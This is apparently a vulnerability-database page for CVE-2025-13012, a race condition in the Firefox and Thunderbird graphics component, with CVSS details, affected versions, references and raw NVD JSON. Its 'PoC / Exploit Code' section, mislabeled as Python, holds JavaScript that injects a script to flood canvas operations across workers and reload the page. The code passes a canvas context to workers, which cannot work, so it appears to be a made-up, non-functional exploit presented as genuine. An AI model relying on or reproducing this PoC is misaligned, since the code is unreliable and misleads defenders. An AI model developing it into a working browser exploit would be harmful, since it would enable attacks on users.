Security Vulnerability Report
中文
CVE-2025-13012 CVSS 7.5 HIGH

CVE-2025-13012

Published: 2025-11-11 16:15:38
Last Modified: 2026-04-13 15:16:42

Description

Race condition in the Graphics component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Firefox ESR 115.30, Thunderbird 145, and Thunderbird 140.5.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
Mozilla Firefox < 145
Mozilla Firefox ESR 115.x < 115.30
Mozilla Firefox ESR 140.x < 140.5
Mozilla Thunderbird < 140.5
Mozilla Thunderbird < 145

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13012 PoC - Race Condition in Graphics Component // This PoC demonstrates a race condition trigger mechanism const pocScript = ` // Race condition trigger for Graphics component async function triggerRaceCondition() { const canvas = document.createElement('canvas'); const ctx = canvas.getContext('2d'); // Prepare multiple threads accessing graphics resources const workers = []; const numWorkers = 10; for (let i = 0; i < numWorkers; i++) { const worker = new Worker(URL.createObjectURL(new Blob([\` self.onmessage = function(e) { // Rapidly access and modify graphics resources const imageData = e.data.ctx.getImageData(0, 0, 100, 100); // Create contention on shared resources for (let j = 0; j < 1000; j++) { e.data.ctx.putImageData(imageData, Math.random() * 50, Math.random() * 50); e.data.ctx.clearRect(0, 0, 100, 100); } } \`], { type: 'application/javascript' }))); workers.push(worker); } // Trigger concurrent access workers.forEach(worker => { worker.postMessage({ ctx: ctx }); }); // Simultaneously trigger garbage collection setInterval(() => { window.location.reload(); }, 100); // Rapidly create and destroy graphics contexts setInterval(() => { const newCanvas = document.createElement('canvas'); const newCtx = newCanvas.getContext('2d'); newCtx.fillRect(0, 0, 100, 100); // Force context switching Promise.resolve().then(() => { newCtx.clearRect(0, 0, 100, 100); }); }, 50); } // Exploit execution triggerRaceCondition(); `; // Inject and execute const script = document.createElement('script'); script.textContent = pocScript; document.body.appendChild(script);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13012", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:38.253", "lastModified": "2026-04-13T15:16:41.930", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Race condition in the Graphics component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Firefox ESR 115.30, Thunderbird 145, and Thunderbird 140.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "115.30.0", "matchCriteriaId": "6A363BA6-4A06-4794-B7DF-59B1624097BC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "145.0", "matchCriteriaId": "445D5AED-0882-46FE-A5F1-B7148B923221"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionStartIncluding": "140.0", "versionEndExcluding": "140.5.0", "matchCriteriaId": "E7561CC5-C090-4099-A311-1A0E304111FE"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1991458", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-87/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-88/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-89/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-90/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-91/", "source": "[email protected]"}]}}